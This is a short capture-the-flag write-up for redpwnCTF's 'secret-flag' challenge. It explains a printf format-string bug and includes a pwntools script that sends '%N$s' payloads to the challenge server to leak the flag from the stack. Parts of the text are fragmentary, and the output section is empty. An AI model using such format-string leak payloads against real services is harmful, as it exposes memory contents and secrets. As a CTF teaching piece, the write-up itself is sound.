secret-flag¶
This is a typical printf()
exploit as the challenge hints us
printf¶
Printf is the format string function, by using different flags, we can get different types of variables. If nothing is specified to be the input and there fore nothing is placed on the stack, if we insert flags to printf, it will just read the data on the top of the stack down. We can use this "bug" to lead as much data as we want.
the exploit¶
We want to leak the values on the stack. First I tried to use the flags and see what we can get, but there is a twist
This one works out nicely, but check what happens when I enter more that 3%s
What is your name, young adventurer?
%s %s %s %s
Hello there: [1] 3000 segmentation fault (core dumped) ./secret-flag
% #number $s
, the number is how far you want to look back on the stack. By doing this, we could just request one stack location at a time but we can do this many times. So I wrote a script to do this
script¶
from pwn import *
context.log_level='critical'
host,port="2020.redpwnc.tf",31826
for i in range(10):
s=remote(host,port)
s.recvline()
s.recvline()
s.sendline('%'+str(i)+'$s')
try:
responce=s.recvline().decode("utf-8")
print(responce)
except:
print("Fault")
1-10
on the stack by running %5$s
to find strings(we want string because the flag should be a string). We try to decode the recieve text to readable characters, and if it doesn't work, we just pass.
OUTPUT:
And theres the flag on the stack somewhere!